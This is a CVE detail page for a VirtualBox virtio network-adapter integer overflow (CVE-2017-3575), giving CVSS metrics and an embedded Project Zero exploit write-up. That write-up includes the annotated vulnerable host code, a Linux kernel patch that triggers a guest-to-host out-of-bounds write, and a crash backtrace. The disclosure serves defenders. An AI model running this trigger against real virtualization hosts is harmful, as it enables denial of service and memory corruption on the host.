CVE-2017-3575 : Detail

CVE-2017-3575

7.9
/
High
0.27%V3
Local
2017-04-24
17h00 +00:00
2024-10-07
16h10 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Vulnerability in the Oracle VM VirtualBox component of Oracle Virtualization (subcomponent: Core). Supported versions that are affected are Prior to 5.0.38 and Prior to 5.1.20. Easily "exploitable" vulnerability allows high privileged attacker with logon to the infrastructure where Oracle VM VirtualBox executes to compromise Oracle VM VirtualBox. While the vulnerability is in Oracle VM VirtualBox, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle VM VirtualBox accessible data and unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle VM VirtualBox. CVSS 3.0 Base Score 7.9 (Integrity and Availability impacts). CVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:H/UI:N/S:C/C:N/I:H/A:H).

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE Other No informations.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 7.9 HIGH CVSS:3.0/AV:L/AC:L/PR:H/UI:N/S:C/C:N/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

High

The attacker is authorized with (i.e. requires) privileges that provide significant (e.g. administrative) control over the vulnerable component that could affect component-wide settings and files.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Changed

An exploited vulnerability can affect resources beyond the authorization privileges intended by the vulnerable component. In this case the vulnerable component and the impacted component are different.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

None

There is no loss of confidentiality within the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

[email protected]
V2 3.6 AV:L/AC:L/Au:N/C:N/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 41906

Publication date : 2017-04-19 22h00 +00:00
Author : Google Security Research
EDB Verified : Yes

Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1136 This is a vulnerability that affects VirtualBox VMs that use a virtio network adapter (which is a non-standard configuration). It permits the guest kernel to write up to 4GB of controlled data out of bounds in the trusted userland host process. The bug is in the following code in src/VBox/Devices/Network/DevVirtioNet.cpp (comments starting with `//###` are by me): while (vqueuePeek(&pThis->VPCI, pQueue, &elem)) { unsigned int uOffset = 0; if (elem.nOut < 2 || elem.aSegsOut[0].cb != uHdrLen) { [...] } else { unsigned int uSize = 0; [...] /* Compute total frame size. */ //### .cb members are attacker-controlled uint32_t. //### addition is performed without overflow check. for (unsigned int i = 1; i < elem.nOut; i++) uSize += elem.aSegsOut[i].cb; [...] //### Assert() has no effect in release builds. Assert(uSize <= VNET_MAX_FRAME_SIZE); if (pThis->pDrv) { [...] PPDMSCATTERGATHER pSgBuf; //### undersized buffer is allocated here. int rc = pThis->pDrv->pfnAllocBuf(pThis->pDrv, uSize, pGso, &pSgBuf); if (RT_SUCCESS(rc)) { Assert(pSgBuf->cSegs == 1); /* Assemble a complete frame. */ for (unsigned int i = 1; i < elem.nOut; i++) { //### memory corruption happens here. PDMDevHlpPhysRead(pThis->VPCI.CTX_SUFF(pDevIns), elem.aSegsOut[i].addr, ((uint8_t*)pSgBuf->aSegs[0].pvSeg) + uOffset, elem.aSegsOut[i].cb); uOffset += elem.aSegsOut[i].cb; } [...] } else { [...] } [...] } } [...] } This code basically takes an IO vector (`elem.aSegsOut`) from the guest, allocates a buffer (`pSgBuf`) that is large enough to hold the concatenation of all elements of the IO vector, then copies data from the IO vector into the newly allocated buffer. The issue here is that the lengths from the IO vector are summed up without overflow checking. If the total length of the IO vector is over 4GB, `uSize` wraps around, causing the allocated buffer to be up to 4GB smaller than the data that is copied into it. The reason why the amount of data that is written out of bounds can be less than 4GB is that uOffset is also only 32 bits wide, causing the start offsets of the IO vector elements to wrap. A VM does not need to have 4GB of memory to be able to trigger the bug. To reproduce, create a VM with 2GB of RAM, configure the VM to use virtio, then run a Linux system with the following kernel patch applied inside the VM: # git show --format=oneline HEAD 0722f57bfae9abbc673b9dbe495c7da2f64676ea Merge tag 'drm-fixes-for-v4.10-final' of git://people.freedesktop.org/~airlied/linux # git diff diff --git a/drivers/virtio/virtio_ring.c b/drivers/virtio/virtio_ring.c index 409aeaa..7eca030 100644 --- a/drivers/virtio/virtio_ring.c +++ b/drivers/virtio/virtio_ring.c @@ -271,6 +271,7 @@ static inline int virtqueue_add(struct virtqueue *_vq, unsigned int i, n, avail, descs_used, uninitialized_var(prev), err_idx; int head; bool indirect; + int attack_i; START_USE(vq); @@ -301,7 +302,7 @@ static inline int virtqueue_add(struct virtqueue *_vq, /* If the host supports indirect descriptor tables, and we have multiple * buffers, then go indirect. FIXME: tune this threshold */ - if (vq->indirect && total_sg > 1 && vq->vq.num_free) + if (false) desc = alloc_indirect(_vq, total_sg, gfp); else desc = NULL; @@ -316,7 +317,7 @@ static inline int virtqueue_add(struct virtqueue *_vq, indirect = false; desc = vq->vring.desc; i = head; - descs_used = total_sg; + descs_used = total_sg + 4; } if (vq->vq.num_free < descs_used) { @@ -346,6 +347,13 @@ static inline int virtqueue_add(struct virtqueue *_vq, i = virtio16_to_cpu(_vq->vdev, desc[i].next); } } + for (attack_i = 0; attack_i < 4; attack_i++) { + desc[i].flags = cpu_to_virtio16(_vq->vdev, VRING_DESC_F_NEXT); + desc[i].addr = cpu_to_virtio64(_vq->vdev, 0x100000); + desc[i].len = cpu_to_virtio32(_vq->vdev, 0x40000000); + prev = i; + i = virtio16_to_cpu(_vq->vdev, desc[i].next); + } for (; n < (out_sgs + in_sgs); n++) { for (sg = sgs[n]; sg; sg = sg_next(sg)) { dma_addr_t addr = vring_map_one_sg(vq, sg, DMA_FROM_DEVICE); As soon as the VM tries to talk to the network, the VM will crash. In a test with VirtualBox 5.1.14 r112924, a segfault occured with the following backtrace: (gdb) bt #0 __memcpy_sse2_unaligned () at ../sysdeps/x86_64/multiarch/memcpy-sse2-unaligned.S:37 #1 0x00007f6896620cbe in PGMPhysRead () from /usr/lib/virtualbox/components/VBoxVMM.so #2 0x00007f685416cb9d in ?? () from /usr/lib/virtualbox/VBoxDD.so #3 0x00007f685416cfea in ?? () from /usr/lib/virtualbox/VBoxDD.so #4 0x00007f689657434e in ?? () from /usr/lib/virtualbox/components/VBoxVMM.so #5 0x00007f6896576fc0 in TMR3TimerQueuesDo () from /usr/lib/virtualbox/components/VBoxVMM.so #6 0x00007f689657fa99 in ?? () from /usr/lib/virtualbox/components/VBoxVMM.so #7 0x00007f6896580a63 in ?? () from /usr/lib/virtualbox/components/VBoxVMM.so #8 0x00007f689650cd09 in ?? () from /usr/lib/virtualbox/components/VBoxVMM.so #9 0x00007f6896580cd4 in ?? () from /usr/lib/virtualbox/components/VBoxVMM.so #10 0x00007f68a5a6981c in ?? () from /usr/lib/virtualbox/VBoxRT.so #11 0x00007f68a5aedc7c in ?? () from /usr/lib/virtualbox/VBoxRT.so #12 0x00007f68a6397184 in start_thread (arg=0x7f6875af6700) at pthread_create.c:312 #13 0x00007f68a5ec037d in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:111 Regarding exploitability: I have not investigated exploitability in detail; however, I believe that this issue is probably exploitable. For example, if the network interface is a NAT interface, drvNATNetworkUp_AllocBuf() is used to allocate the buffer, which in the pGso!=NULL case will allocate an arbitrarily-sized buffer with RTMemAlloc(), which should allow arbitrarily-sized allocations, permitting an out-of-bounds write behind a big heap allocation with fully controlled length and data.

Products Mentioned

Configuraton 0

Oracle>>Vm_virtualbox >> Version From (including) 5.0.0 To (excluding) 5.0.38

Oracle>>Vm_virtualbox >> Version From (including) 5.1.0 To (excluding) 5.1.20

References

http://www.securitytracker.com/id/1038288
Tags : vdb-entry, x_refsource_SECTRACK
http://www.securityfocus.com/bid/97755
Tags : vdb-entry, x_refsource_BID
https://www.exploit-db.com/exploits/41906/
Tags : exploit, x_refsource_EXPLOIT-DB